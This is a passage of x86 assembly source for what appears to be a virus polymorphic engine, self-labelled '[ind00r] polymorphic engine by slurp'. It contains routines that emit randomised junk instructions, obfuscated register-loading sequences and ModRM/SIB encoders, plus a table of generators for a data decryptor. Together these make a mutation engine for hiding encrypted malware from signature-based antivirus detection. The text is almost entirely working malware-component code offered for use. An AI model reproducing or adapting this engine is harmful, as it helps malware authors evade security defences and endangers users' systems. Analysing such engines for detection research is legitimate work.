mov byte ptr [edi], OPERAND_SIZE
inc edi
mov dl, MOVX_SX
rj_m5_nprefix: mov byte ptr [edi], ESC_2BYTE
inc edi
call rnd32
and al, dl
xor al, MOVX
stosb
call rnd32
and al, REG_EDI
shl ebx, 03h
xor eax, ebx
xor al, MOD_REG
stosb
ret
; method 6: inc/dec register
rj_meth6: push eax
call rnd32
and al, 01h
xchg eax, edx ; BL = 0 [INC] BL = 1 [DEC]
pop eax
test al, al
jnz rj_m6_n8
mov byte ptr [edi], INCDEC_GROUP
inc edi
xchg eax, edx
shl eax, 03h
xor al, MOD_REG
xor al, bl
stosb
ret
rj_m6_n8: test al, 02h
jz rj_m6_noprefix
mov byte ptr [edi], OPERAND_SIZE
inc edi
rj_m6_noprefix: xchg eax, edx
shl eax, 03h
xor al, INC_REG
xor al, bl
stosb
ret
rj_methods equ $
dd offset rj_meth1 - idelta
dd offset rj_meth2 - idelta
dd offset rj_meth3 - idelta
dd offset rj_meth4 - idelta
dd offset rj_meth5 - idelta
dd offset rj_meth6 - idelta
RJ_METHCNT equ 06h
iRegJunk endp
; write 2 - 4 register junk instructions
iRndRegJ proc
pushad
push 03h
call rnd32r
inc eax
inc eax
xchg eax, ecx
call iGetJunkReg
xchg eax, ebx
irrj_loop: push ecx ebx
call iRegJunk
pop ebx ecx
loop irrj_loop
mov [esp], edi
popad
ret
iRndRegJ endp
; memory junk generator
iMemJunk proc
push MJ_METHCNT
call rnd32r
mov edx, [ebp.mj_methods-idelta+4*eax]
add edx, ebp
push OPSIZE_16 + 1
call rnd32r
call iGetWrMem
jmp edx
; immediate operation on memory
mj_meth1: push eax
push OPTYPE_MOV + 3
call rnd32r
cmp al, OPTYPE_MOV + 1
jb mj_m1_nmov
mov al, OPTYPE_MOV
mj_m1_nmov: xchg eax, ebx
call rnd32
xchg eax, edx
call rnd32
test al, 0Ch
jz mj_m1_nsx
movsx edx, dl
mj_m1_nsx: pop eax
mj_m1_nrc: jmp ciOpRMImm
; register operation on memory
mj_meth2: push eax
push OPTYPE_MOV + 3
call rnd32r
cmp al, OPTYPE_MOV + 1
jb mj_m2_nmov
mov al, OPTYPE_MOV
mj_m2_nmov: mov bh, al
call rnd32
test ah, 01h
jz mj_m2_rndreg
and al, REG_EDI
mov bl, al
mj_m2_rndreg: pop eax
xor ah, ah ; MEM_REG
jmp ciOpRMReg
; shift operation on memory
mj_meth3: push eax
push RND_SHIFT
call rnd32r
xchg ebx, eax
push SHIFT_RND
call rnd32r
mov bh, al
call rnd32
xchg eax, edx
pop eax
mov ah, dl
jmp ciShiftRM
mj_methods equ $
dd offset mj_meth1 - idelta
dd offset mj_meth2 - idelta
dd offset mj_meth3 - idelta
MJ_METHCNT equ 03h
iMemJunk endp
; input: bl = register
; output: al = operand size, bl = register
iOpSizeReg proc
push OPSIZE_16 + 1
call rnd32r
test al, al
jnz cr_nop
cmp bl, REG_ESP
jnb iOpSizeReg
push eax
call rnd32
and al, 04h
xor bl, al
pop eax
cr_nop: ret
iOpSizeReg endp
; input: cx, esi = memory
; output: al = operand size, cx, esi = memory
iOpSizeMem proc
push OPSIZE_16 + 1
call rnd32r
ret
iOpSizeMem endp
; gets random register, parameter or junk memory operand
iGetMemory proc
push eax
gm_rep: xor eax, eax
mov al, GM_METHCNT2
cmp byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA
jb gm_push
inc eax
inc eax
gm_push: sub al, [ebp.InLoop-idelta]
push eax
call rnd32r
add al, [ebp.InLoop-idelta]
mov eax, [ebp.gm_methods-idelta+4*eax]
add eax, ebp
call eax
pop eax
ret
; get random parameter
gm_meth1: movzx eax, byte ptr [ebp.CurrentProc-idelta]
mov al, [ebp.ProcParameters-idelta+eax] ; parameter count
test eax, eax
jz gm_m1_ebp ; if no parameter, don't use this method
push eax
call rnd32r ; choose random parameter
shl eax, 02h ; scale to dword
add al, 08h ; first dword is return address
mov esi, eax ; the displacement
mov cx, REG_EBP ; relative to EBP
ret
gm_m1_ebp: mov cl, REG_EBP xor MOD_REG
ret
; get random junk mem
gm_meth2: mov eax, [ebp.JunkSpSize-idelta] ; access a random dword
shl eax, 02h
dec eax
dec eax
dec eax
push eax
call rnd32r ; from junk memory
add eax, [ebp.JunkSpRVA-idelta] ; add start rva
xchg eax, esi
mov cx, MOD_DIRECT ; return a direct address
ret
; get random encrypted data
gm_meth3: mov eax, [ebp.CryptSize-idelta]
shl eax, 02h
dec eax
dec eax
dec eax
push eax
call rnd32r
add eax, [ebp.DecryptRVA-idelta]
xchg eax, esi
mov cx, MOD_DIRECT
ret
; get encrypted data (RVA + 1/2/4*counter)
gm_meth4: mov esi, [ebp.DecryptRVA-idelta]
push 03h ; scaling factor 1, 2 or 4
call rnd32r
mov ecx, eax
push edx
xor edx, edx
inc edx
shl edx, cl
sub esi, edx
pop edx
shl eax, 03h
xor al, [ebp.creg-idelta]
mov ch, al
mov cl, MOD_DIRECT
ret
; get current encrypted dword
gm_meth5: movsx cx, byte ptr [ebp.preg-idelta] ; use [preg] without
xor esi, esi ; displacement
ret
gm_methods equ $
dd offset gm_meth1 - idelta
dd offset gm_meth2 - idelta
GM_METHCNT3 equ 02h
dd offset gm_meth3 - idelta
GM_METHCNT2 equ 03h
dd offset gm_meth4 - idelta
dd offset gm_meth5 - idelta
GM_METHCNT1 equ 05h
iGetMemory endp
iGetWrMem proc
push eax
push GM_METHCNT3 - 1
call rnd32r
mov eax, [ebp.gm_methods-idelta+4+4*eax]
add eax, ebp
call eax
pop eax
ret
iGetWrMem endp
iGetPar proc
ret
iGetPar endp
; common junk procedures
iGetJunkReg proc
push 03h
call rnd32r
movzx eax, byte ptr [ebp.junkreg1-idelta+eax]
ret
iGetJunkReg endp
iPushJunk proc
pushad
push PP_METHCNT ; random method to push
call rnd32r ; a parameter
mov eax, [ebp.pp_methods-idelta+4*eax]
add eax, ebp
call eax ; call da method
mov [esp], edi
popad
ret
; push 8-bit immediate sign 'xtended to 32-bit
pp_meth1: mov al, PUSH_IMM_SX
stosb
call rnd32
stosb
ret
; push 32-bit immediate
pp_meth2: mov al, PUSH_IMM
stosb
call rnd32
xchg eax, edx
call rnd32
and eax, edx
stosd
ret
; push register
pp_meth4: call rnd32
and al, REG_EDI
xor al, PUSH_REG
stosb
ret
; push memory
pp_meth3: call iGetMemory
mov al, OP_GROUP5
stosb
mov bl, P_PUSH
jmp ciCreateOperand
pp_methods equ $
dd offset pp_meth1 - idelta
dd offset pp_meth2 - idelta
dd offset pp_meth3 - idelta
dd offset pp_meth4 - idelta
dd offset pp_meth4 - idelta
PP_METHCNT equ 05h
iPushJunk endp
iPopJunk proc
call rnd32
test al, 01h
jz pj_asdfklj
mov al, POP_REG
xor eax, ebx
stosb
ret
pj_asdfklj: test al, 02h
jz pj_blahblah
call iGetWrMem
mov al, POP_MEM
stosb
xor bl, bl
jmp ciCreateOperand
pj_blahblah: push 04h
pop edx
xor bl, bl
test al, 04h
jz pj_sueder
add bl, OPTYPE_SUB
neg edx
pj_sueder: mov al, OPSIZE_32
mov cl, REG_ESP xor MOD_REG
xor ch, ch
call ciOpRMImm
ret
iPopJunk endp
; returns random dword (0..4294967295)
rnd32 proc; [no parameterz]
push ecx
push edx
mov eax, [ebp.RandomSeed-idelta] ; load random seed
mov ecx, eax
mov edx, eax
not ecx
and ecx, 03h ; loop 8-64 times
inc ecx
shl ecx, 03h
rnd32_loop: push ecx
mov ecx, edx
ror eax, cl
neg eax
rol edx, cl
dec edx
pop ecx
rnd32_blah: loop rnd32_loop
xor eax, edx
mov [ebp.RandomSeed-idelta], eax ; write back random seed
pop edx
pop ecx
ret
rnd32 endp
; returns random dword (0..[esp+4])
rnd32r proc; [range]
push ecx
push edx
mov ecx, [esp+2*4+4]
call rnd32
xor edx, edx
div ecx
xchg eax, edx
pop edx
pop ecx
ret 04h
rnd32r endp
; 'xchanges n bytes from address ESI (n has to be pushed)
MixBytes proc; [count] [esi = ptr]
pushad ; preserve all registers
mov ebx, [esp.PUSHAD_SIZE+04h]
mov ecx, ebx
shl ecx, 01h ; loop counter (2 * # of bytes)
xb_loop: push ebx ; number of bytes
call rnd32r ; get first byte offset
xchg eax, edx
push ebx
call rnd32r ; get second byte offset
push ebx ; preserve number
mov bl, [esi+eax]
xchg [esi+edx], bl ; exchange bytes
mov [esi+eax], bl
pop ebx
loop xb_loop
popad
ret 04h
MixBytes endp
; writes 1 to 4 random bytes
WriteJunk proc
push eax
push ecx
push 04h ; get random value 0..3
call rnd32r
inc eax ; +1 (1..4)
xchg ecx, eax ; load into counter
wj_loop: call rnd32 ; get a random byte
stosb ; store it
loop wj_loop
pop ecx
pop eax
ret
WriteJunk endp
; returns reg if it is a junk reg, otherwise -1
iIsJReg proc
mov eax, [esp.04h]
cmp [ebp.junkreg1-idelta], al
je is_junkreg
cmp [ebp.junkreg2-idelta], al
je is_junkreg
cmp [ebp.junkreg3-idelta], al
je is_junkreg
xor eax, eax
dec eax
is_junkreg: ret 04h
iIsJReg endp
; generates TEST reg, reg/OR reg, reg/AND reg, reg
gCheckReg proc
; generate MOD/RM byte with MOD_REG flag and twice the same
; register.
pushad
mov al, bl
xor al, MOD_REG ; use as register
mov cl, al
xchg eax, ebx
mov bh, OPTYPE_OR
push 05h
call rnd32r ; get random value
cmp al, 03h
jae gcr_zer0
test al, 02h
jz gcr_and2
mov bh, OPTYPE_AND
gcr_and2: test al, 01h
jz gcr_not_test
mov bh, OPTYPE_TEST
gcr_not_test: call rnd32
and ah, REG_MEM ; random direction
mov al, OPSIZE_32
call ciOpRMReg
gcr_exit2: mov [esp], edi
popad
ret
gcr_zer0: call rnd32
and al, OPTYPE_CMP
cmp al, OPTYPE_ADC
jb gcrz_1
cmp al, OPTYPE_AND
jna gcr_zer0
gcrz_1: xchg eax, ebx
xor edx, edx
mov al, OPSIZE_32
call ciOpRMImm
jmp gcr_exit2
gCheckReg endp
; generates SUB reg, reg/XOR reg, reg/AND reg, 0
gClearReg proc
; generate MOD/RM byte with MOD_REG flag and twice the same
; register.
pushad
mov al, bl
shl al, 03h ; shift to REG field
xor al, bl ; write RM field
xor al, MOD_REG ; use as register
xchg eax, ebx
; generate either a SUB reg, reg or XOR reg, reg
mov cl, MATH_SUB or OPSIZE_32
push 03h
call rnd32r ; get random value
test al, 02h
jnz gcr_and
test al, 01h
jz gcr_not_sub
mov cl, MATH_XOR or OPSIZE_32
gcr_not_sub: and al, REG_MEM ; random direction
or eax, ecx ; create opcode
stosb ; store opcode
xchg eax, ebx ; MOD/RM byte
stosb ; store
gcr_exit: mov [esp], edi
popad
ret
gcr_and: xchg eax, ebx
and al, MOD_REG xor REG_EDI
xchg eax, ecx
mov bl, OPTYPE_AND
mov al, OPSIZE_32
xor edx, edx
call ciOpRMImm
jmp gcr_exit
gClearReg endp
; loads reg (EBX) with immediate value (EDX)
gLoadReg proc
mov eax, edx
shr eax, 0Fh
jnz glr_notword
push 03h ; the value is 0..32767,
call rnd32r ; so we can choose
sub al, 01h
adc al, 00h
glr_shift_sx: shl eax, 03h ; MOVX_SX or MOVX_ZX
glr_word_val: test al, al
jnz glr_not_zx
push 02h
call rnd32r
test eax, eax
jz glr_not_zx
call gClearReg
push 05h ; ADD/OR/SUB/XOR
call rnd32r
cmp al, OPTYPE_OR
jbe glr_1
add al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR
glr_1: cmp al, OPTYPE_SUB
jne glr_ns
neg edx
glr_ns: cmp al, OPTYPE_CMP
jne glr_asdf
inc eax
glr_asdf: xchg eax, ebx
xor al, MOD_REG
xchg eax, ecx
mov al, OPSIZE_16
jmp ciOpRMImm
glr_not_zx: push eax
call iGetJunkReg
xchg eax, ecx
call rnd32
test al, 03h ; chance of 1:4 to use same register
jnz glr_blah1
mov ecx, ebx
glr_blah1: mov al, OPSIZE_16
push ebx
mov bl, OPTYPE_MOV
xor ecx, 0FFFFFF00h xor MOD_REG
call ciOpRMImm
pop ebx
and ecx, REG_EDI
xchg ecx, ebx
call iBlockJunkAR
pop eax
mov ah, ESC_2BYTE
xor al, MOVX xor MOVX_WORD
xchg ah, al
stosw
xchg ecx, ebx
xor ecx, 0FFFFFF00h xor MOD_REG
jmp ciCreateOperand
glr_notword: inc eax
shr eax, 11h ; if not zero, value is a negative word
jnz glr_shift_sx ; we must use MOVSX
mov eax, edx
shr eax, 10h ; if zero, only first 16 bits are used
jz glr_word_val ; we must use MOVZX
push GLR_METHCNT ; choose between some methods
call rnd32r
mov eax, [ebp.glr_methods-idelta+eax*4] ; load method
add eax, ebp ; relocate pointer to subroutine
jmp eax ; jump to method.
; method 1: mov reg, imm
glr_meth1: xchg eax, ebx ; get register
xor al, MOV_REG_IMM32 ; add opcode
stosb ; store opcode
xchg eax, edx ; get immediate
stosd ; store immediate
ret
; method 2: clear reg; add/or/sub/xor reg, imm
glr_meth2: call gClearReg ; clear the register
push 04h ; ADD/OR/SUB/XOR
call rnd32r
cmp al, OPTYPE_OR
jbe glr_m2_1
add al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR
glr_m2_1: cmp al, OPTYPE_SUB
jne glr_m2_ns
neg edx
glr_m2_ns: call iBlockJunkAR
xchg eax, ebx
or al, MOD_REG ; register
xchg eax, ecx
mov al, OPSIZE_32 ; 32-bit operand
jmp ciOpRMImm
; method 3: mov reg, rnd;
; sub/add/xor reg, imm add/sub/xor rnd
glr_meth3: mov al, MOV_REG_IMM32 ; mov reg, imm32 opcode
xor eax, ebx ; add register
stosb ; store it
call rnd32 ; get a random dword
stosd ; store it
xchg eax, edx ; random value
xchg eax, ecx ; immediate
call iBlockJunkAR ; generate junk block
push 03h ; add, sub, xor
call rnd32r
test eax, eax ; add?
jz glr_m3_1
add al, OPTYPE_SUB - 1 ; no, sub/xor
glr_m3_1: test eax, eax
jnz glr_m3_2
neg edx
add edx, ecx ; - random + immediate
glr_m3_2: cmp al, OPTYPE_SUB
jnz glr_m3_3
sub edx, ecx ; random - immediate
glr_m3_3: cmp al, OPTYPE_XOR
jnz glr_m3_4
xor edx, ecx ; random xor immediate
glr_m3_4: xchg eax, ebx
or al, MOD_REG
xchg eax, ecx
mov al, OPSIZE_32
jmp ciOpRMImm
; method 4: mov reg, imm ror/rol rnd;
; ror/rol reg, rnd
glr_meth4: call rnd32
and al, 1Fh
jz glr_meth4
xchg eax, ecx
xchg eax, edx
push ebx
mov bl, ROL_SHIFT
test ch, 01h
jz glr_m4_rol
rol eax, cl
inc ebx
jmp glr_m4_ror
glr_m4_rol: ror eax, cl
glr_m4_ror: xchg dl, cl
pop ecx
mov byte ptr [edi], MOV_REG_IMM32
xor [edi], cl
inc edi
stosd
xchg ah, dl
xchg ebx, ecx
call iBlockJunkAR
xchg ebx, ecx
mov al, OPSIZE_32
mov bh, SHIFT_IMM
cmp ah, 01h
jnz glr_m4_n1
inc bh
glr_m4_n1: xor ecx, 0FFFFFF00h xor MOD_REG
jmp ciShiftRM
glr_methods equ $
dd offset glr_meth1 - idelta
dd offset glr_meth2 - idelta
dd offset glr_meth3 - idelta
dd offset glr_meth4 - idelta
GLR_METHCNT equ 04h
gLoadReg endp
; relocates a long jump (32-bit displacement)
; [address of disp] points to the byte after the opcode
RelLongJmp proc; [address], [address of disp]
push eax
push edi
mov eax, [esp.0Ch] ; where to jump
mov edi, [esp.10h] ; address of displacement
neg edi
lea eax, [eax+edi-04h]
neg edi
stosd
pop edi
pop eax
ret 08h
RelLongJmp endp
; generates a shift instruction.
;
; AL: operand size
; you can generate byte, word or dword operations. choose between
; OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may generate a random
; number < OPSIZE_RND.
;
; AH: immediate shift value
;
; BL: shift type (ROL_SHIFT, SHL_SHIFT, RCR_SHIFT, ...)
; you can use random value < RND_SHIFT
;
;
; BH: shift operand type
; SHIFT_IMM
; SHIFT_1
; SHIFT_CL
; or random value < SHIFT_RND
;
; CL: R/M operand. can be:
; 1. register (REG_??? or MOD_REG)
; 2. memory, using register as index (REG_???)
; 3. memory, immediate address (MOD_DIRECT), ESI = virtual address
;
; CH: second index register + scaling factor
; REG_??? + NO_SCALE / SCALE_2/4/8
; (use random value < SCALE_RND, to get random register & scaling).
; if this byte is zero, no SIB byte is used.
; take special care when using no scaling factor (logical or with
; NO_SCALE)
;
; ESI: displacement
; if this is zero, no displacement is used.
; when usin' direct addressing (MOD_DIRECT), this register contains
; immediate memory address.
; if ESI is in the range between -128 and 127, 8-bit displacement is
; used. when you're using 8-bit displacement calculate them like this:
; movsx esi, rm8 ; rm8 = 8-bit register or memory operand
; ; containing 8-bit displacement.
;
ciShiftRM proc
pushad
test al, OPSIZE_16 ; check if 16-bit operand
jz ciSRno_prefix ; no, we don't need a prefix
mov byte ptr [edi], 66h ; write prefix
inc edi ; increment pointer
dec eax ; change operand size to 32-bit
ciSRno_prefix: cmp ah, 01h
jnz ciSRasdlkfj
cmp bh, SHIFT_IMM
test bh, bh
jnz ciSRasdlkfj
mov bh, SHIFT_1
ciSRasdlkfj: test bh, bh
jz ciSRt_imm ; shift by immediate value
test bh, SHIFT_CL
jz ciSRt_1
or al, 02h
ciSRt_1: or al, 10h
ciSRt_imm: or al, OP_SHIFT
stosb
cmp bl, SAR_SHIFT
jnz ciSRnot_sar
inc ebx
ciSRnot_sar: mov al, bh
push eax
call ciCreateOperand
pop eax
test al, SHIFT_1 or SHIFT_CL
jnz ciSRexit
xchg al, ah
stosb
ciSRexit: mov [esp], edi
popad
ret
ciShiftRM endp
; generates a math operation, move, compare or exchange instruction.
;
; AL: operand size
; you can generate byte, word or dword operations. choose between
; OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may generate a random
; number < OPSIZE_RND.
;
; AH: direction (MEM_REG, REG_MEM)
; MEM_REG, from register to memory (write)
; REG_MEM, from memory to register (read)
; or random value < DIR_RND.
;
; BL: register
; REG_??? or random value lower than REG_RND
;
; BH: operation type
; the following operations are generated:
; ADD, OR, ADC, SBB, AND, SUB, XOR, CMP, MOV, XCHG, TEST
; use the corresponding OPTYPE_??? constant as operation type.
; you can also use a random number lower than OPTYPE_RND constant.
;
; CL: R/M operand. can be:
; 1. register (REG_??? or MOD_REG)
; 2. memory, using register as index (REG_???)
; 3. memory, immediate address (MOD_DIRECT), ESI = virtual address
;
; CH: second index register + scaling factor
; REG_??? + NO_SCALE / SCALE_2/4/8
; (use random value < SCALE_RND, to get random register & scaling).
; if this byte is zero, no SIB byte is used.
; take special care when using no scaling factor (logical or with
; NO_SCALE)
;
; ESI: displacement
; if this is zero, no displacement is used.
; when usin' direct addressing (MOD_DIRECT), this register contains
; immediate memory address.
; if ESI is in the range between -128 and 127, 8-bit displacement is
; used. when you're using 8-bit displacement calculate them like this:
; movsx esi, rm8 ; rm8 = 8-bit register or memory operand
; ; containing 8-bit displacement.
ciOpRMReg proc
pushad
cmp al, OPSIZE_16 ; check if 16-bit operand
jnz ciORRno_prefix ; no, we don't need a prefix
mov byte ptr [edi], 66h ; write prefix
inc edi ; increment pointer
dec eax ; change operand size to 32-bit
ciORRno_prefix: cmp bh, OPTYPE_TEST ; check if TEST instruction
jnz ciORRlame1
mov bh, 090h ; real opcode ROR 3
xor ah, ah ; we can only use MEM_REG
ciORRlame1: cmp bh, OPTYPE_XCHG ; check if XCHG instruction
jnz ciORRlame2
mov bh, 0D0h ; real opcode ROR 3
test al, al ; check if 8-bit operand
jz ciORRlame2 ; next 2 checkz are obsolete
mov dl, cl
and dl, MOD_REG
cmp dl, MOD_REG
jnz ciORRblah
xchg cl, bl
test cl, cl ; check if reg field is eax
jz ciORRxchgeax ; yes, generate xchg eAX, ??
xchg bl, cl
cmp cl, REG_EAX or MOD_REG ; check if r/m field is eax
jnz ciORRlame2
ciORRxchgeax: test cl, MOD_DISP8
jz ciORRblah
test cl, MOD_DISP32
jz ciORRblah
mov al, bl ; BL contains reg
and al, 3Fh ; clear MOD_REG bits
or al, XCHG_EAX_REG ; generate opcode
stosb ; store opcode
jmp ciORRexit ; done! we saved one byte, but
; poly engine grows 25 bytes :p
ciORRblah:
ciORRlame2: cmp bh, OPTYPE_MOV ; check if MOV instruction
jnz ciORRlame3
mov bh, 011h ; real opcode ROR 3
ciORRlame3: shl ah, 1
or al, ah ; operand size + direction
rol bh, 03h ; operation number ROL 3
or al, bh
stosb ; store opcode
call ciCreateOperand ; create R/M byte
ciORRexit: mov [esp], edi
popad
ret
ciOpRMReg endp
; generates a math operation, move or compare instruction.
;
; AL: operand size
; you can generate byte, word or dword operations. choose between
; OPSIZE_8, OPSIZE_16 and OPSIZE_32. you may use random operand size
; (random number must be lower than OPSIZE_RND)
;
; BL: operation type
; the following operations are generated:
; ADD, OR, ADC, SBB, AND, SUB, XOR, CMP, MOV, XCHG, TEST
; use the corresponding OPTYPE_??? constant as operation type.
; you can also use a random number lower than OPTYPE_RND constant.
;
;
; CL: R/M operand. can be:
; 1. register (REG_??? or MOD_REG)
; 2. memory, using register as index (REG_???)
; 3. memory, immediate address (MOD_DIRECT), ESI = virtual address
;
; hey, you'd bet right! here you can also use random value! :I
; REG_RND for random register (don't forget to set MOD_REG),
; REG_RND for random index reg
; and finally MEM_RND for random index reg, but also direct
; addressing (means no index reg is used, but memory address)
;
; CH: second index register + scaling factor
; REG_??? + NO_SCALE / SCALE_2/4/8
; (use random value < SCALE_RND, to get random register & scaling).
; if this byte is zero, no SIB byte is used.
; take special care when using no scaling factor (logical or with
; NO_SCALE)
; EDX/DX/DL: immediate value
;
; ESI: displacement or immediate address
;
; if operation is MOV and operand is register, generate MOV reg, imm8/16/32
; if operation is MOV and operand is memory, generate MOV mem, imm8/16/32
; if operation is TEST, generate TEST r/m, imm8/16/32
; if operand is register and register is EAX/AX/AL, no R/M byte is used.
; (other opcode)
;
ciOpRMImm proc
pushad
push edx
mov edx, eax
cmp al, OPSIZE_16 ; are we usin' 16-bit operands?
jnz ciORIno_prefix ; no, we don't need a prefix.
mov byte ptr [edi], 66h ; store prefix
inc edi
dec eax
; check for MOV operation
ciORIno_prefix: cmp bl, OPTYPE_MOV ; MOV operation?
jnz ciORInot_mov ; no, check next
; check if operand is register
push eax ; push operand size.
mov eax, ecx
xor al, MOD_REG ; invert MOD_??? bits
test al, MOD_REG ; they aren't 00 now?
jnz ciORInot_reg ; operand is not register
pop ecx ; pop operand size
shl cl, 03h ; generate B0h or B8h opcode
or al, cl ; register OR operand size
or al, MOV_REG_IMM
stosb ; store opcode
jmp ciORIwrite_imm ; write immediate
; generate MOV mem, imm
ciORInot_reg: pop eax ; pop operand size
or al, MOV_MEM_IMM
stosb
xor ebx, ebx
jmp ciORIcreate_rm
; Check for TEST operation
ciORInot_mov: cmp bl, OPTYPE_TEST ; TEST operation?
jnz ciORInot_test ; no, check next
cmp cl, REG_EAX or MOD_REG ; reg = EAX/AX/AL?
jnz ciORInot_eax1
or al, TEST_EAX_IMM ; generate TEST eAX/AL, imm
stosb
jmp ciORIwrite_imm
ciORInot_eax1: or al, OP_GROUP3 ; opcode for operation group 3
stosb ; store
xor bl, bl ; TEST r/m, Ib/Iv
jmp ciORIcreate_rm
; check if EAX/AX/AL register.
; if yes, we can generate opcode by shifting left operation
; type by 03h, adding 04h and adding operand size.
ciORInot_test:
; if all above fails, generate operation from immediate
; group (group 1). opcode 80h or operand size.
; if it is a 32-bit immediate, we check if immediate value
; fits in byte (-128 <= immediate >= 127). we can save 3
; bytes that will be 000000h or FFFFFFh anyway. :-%
push edx
or al, OP_GROUP1
test al, OPSIZE_32
jz ciORIblah
mov edx, [esp + 04h]
movsx edx, dl
cmp edx, [esp + 04h]
jne ciORIblah
inc eax
and byte ptr [esp], 00h
inc eax ; use byte imm, sign extended to dword
ciORIblah: jnz ciORInot_eax2
pop edx
cmp cl, REG_EAX or MOD_REG ; register = EAX/AX/AL?
jnz ciORInot_eax3 ; nope, create operation
; from group 1 (immediate ops)
shl bl, 03h ; operation type
or bl, USE_EAX ; opcode ?4h or ?5h
and al, 01h
or al, bl ; add operand size
stosb ; store opcode
jmp ciORIwrite_imm ; write immediate value
ciORInot_eax2:
pop edx
ciORInot_eax3: stosb
ciORIcreate_rm:
call ciCreateOperand
ciORIwrite_imm: test dl, dl
jz ciORIimm8
test dl, OPSIZE_16
jnz ciORIimm16
pop eax
stosd
jmp ciORIexit
ciORIimm16: pop eax
stosw
jmp ciORIexit
ciORIimm8: pop eax
stosb
ciORIexit: mov [esp], edi
popad
ret
ciOpRMImm endp
; ciCreateOperand
;
; creates MOD/RM byte and if needed SIB byte, and stores da displacement
;
; BL: register or additional opcode information
;
; CL: R/M operand. can be:
; - register operand: REG_??? + MOD_REG
; - memory operand, index register: REG_???
; - memory operand, immediate addressing: MOD_DIRECT
;
; CH: second index register + scaling factor
; REG_??? + NO_SCALE / SCALE_2/4/8
; (use random value < SCALE_RND, to get random register & scaling).
; if this byte is zero, no SIB byte is used.
; take special care when using no scaling factor (logical or with
; NO_SCALE)
;
; ESI: displacement
; if this is zero, no displacement is used.
; when usin' direct addressing (MOD_DIRECT), this register contains
; immediate memory address.
; if ESI is in the range between -128 and 127, 8-bit displacement is
; used. when you're using 8-bit displacements calculate them like this:
; movsx esi, rm8 ; rm8 = 8-bit register or memory operand
; ; containing 8-bit displacement.
; this check isn't performed when MOD_DISP8 or MOD_DISP32
;
ciCreateOperand proc
pushad
mov eax, ecx
and al, MOD_REG
cmp al, MOD_REG ; R/M operand = register?
jz COcreate_mr ; yes, directly to ciCreateMODRM
test cl, MOD_DIRECT ; direct addressing?
jnz COno_disp
mov eax, esi
test eax, eax ; displacement = 0?
jz COno_disp ; don't use displacement
or cl, MOD_DISP32 ; set 32-bit displacement
test cl, MOD_DIRECT
jnz COno_disp
movsx eax, al
cmp eax, esi
jne COno_disp
xor cl, MOD_REG
COno_disp: test ch, ch ; second index register?
jz COcreate_mr ; no, we don't need SIB
or cl, MOD_SIB ; set SIB flag
COcreate_mr:
; create MOD/RM byte
;
; BL = register or additional opcode information (bits 3, 4, 5)
; CL = register or memory operand (bits 0,1,2)
; - register operand: REG_??? + MOD_REG
; - memory operand, no displacement: REG_??? + MOD_NODISP
; - memory operand, 8-bit displacement: REG_??? + MOD_DISP8
; - memory operand, 32-bit displacement: REG_??? + MOD_DISP32
; - memory operand, immediate addressing: MOD_DIRECT
; - sib memory operand, no displacement: MOD_SIB + MOD_NODISP
; - sib memory operand, 8-bit displacement: MOD_SIB + MOD_DISP8
; - sib memory operand, 32-bit displacement: MOD_SIB + MOD_DISP32
; - sib memory operand, immediate addressing: MOD_DIRECT + MOD_SIB
;
; output:
;
; AL = displacement size:
; MOD_NODISP
; MOD_DISP8
; MOD_DISP32
; MOD_DIRECT
; MOD_SIB ; if MOD_SIB the lower 3 bits are base register
;
; [EBP] with no displacement is immediate addressing. if you want [EBP],
; this procedure generates zero 8-bit displacement. if you want immediate
; address use MOD_DIRECT.
;
; [ESP] normally indicates that SIB byte follows. when you use [ESP] this
; procedure generates SIB byte (24h). when you want to use SIB byte, use
; MOD_SIB.
;
; if no displacement, sib byte and [ebp] as base, zero 8-bit displacement
; is used if MOD_DIRECT + MOD_SIB, immediate address is used as base...
; AL = MOD_NODISP, MOD_DISP8 or MOD_DISP32 (or MOD_SIB if sib)
; CL = base
; REG_???
; CH = index
; REG_??? (not ESP) + NOSCALE/SCALE_2/4/8
;
; AL = MOD_NODISP, MOD_DISP8 or MOD_DISP32 (or MOD_SIB if sib)
shl ebx, 03h ; register
; let's check if operand is register
mov eax, ecx
and al, MOD_REG ; clear bits 0-5
xor al, MOD_REG ; invert bit 6 & 7
jnz CMblah1 ; memory operand.
xchg eax, ecx
and al, 0C7h
or eax, ebx
stosb ; directly create it!
xor eax, eax ; return MOD_NODISP
jmp CMexit1
CMblah1: mov eax, ecx
and al, 0C7h
cmp al, REG_EBP ; EBP and no displacement?
jnz CMblah2
or cl, MOD_DISP8 ; use 8-bit displacement
CMblah2: mov eax, ecx
and al, 07h or MOD_DIRECT or MOD_SIB
cmp al, REG_ESP ; ESP is index reg?
jnz CMblah3 ; nope
or eax, ebx
and cl, MOD_REG
or eax, ecx
stosb
mov byte ptr [edi], 24h
inc edi
and al, MOD_REG
jmp CMexit1
CMblah3: mov eax, ecx
test al, MOD_DIRECT ; direct addressing?
jz CMblah4 ; nope
and cl, 38h
or cl, REG_EBP ; no displacement and EBP
CMblah4: mov eax, ecx
test al, MOD_SIB ; do we have SIB byte?
jz CMblah6 ; no SIB byte
; set ESP as index register (SIB)
and al, 0C0h or MOD_SIB or MOD_DIRECT
or al, REG_ESP
and cl, 0C7h or MOD_SIB or MOD_DIRECT
CMblah6: and al, 0C7h
or eax, ebx
stosb
mov eax, ecx
and al, 0C7h or MOD_SIB or MOD_DIRECT
CMexit1:
; created MOD/RM byte. now let's do the displacement
test eax, eax ; no displacement?
jz COexit ; yes, exit
test al, MOD_SIB ; SIB byte?
jz COblah ; no, don't store SIB byte
shl ch, 03h ; creatin' SIB byte
push eax ; preserving addressing mode
and al, REG_RND - 1 ; mask base register
or al, ch
stosb ; store SIB byte
pop eax
COblah: test al, MOD_DIRECT ; direct addressing?
jnz COdirect ; yes, store VA & exit
COblah2: test al, MOD_DISP8 ; do we have 8-bit displacement?
jz COblah3 ; no, perform next check
xchg esi, eax
stosb
jmp COexit
COblah3: test al, MOD_DISP32
jz COexit
COdirect: xchg esi, eax
stosd
COexit: mov [esp], edi
popad
ret
ciCreateOperand endp
; initialized data
db '[ind00r] polymorphic engine by slurp', 0
; decryptor instructions generator addresses (relative to idelta)
Generatorz dd offset iProcLdPtr - idelta ; load pointer
dd offset iProcLdCnt - idelta ; load counter
dd offset iProcLdKey - idelta ; load key
dd offset iProcDecData - idelta ; decrypt data
dd offset iProcIncKey - idelta ; increment key
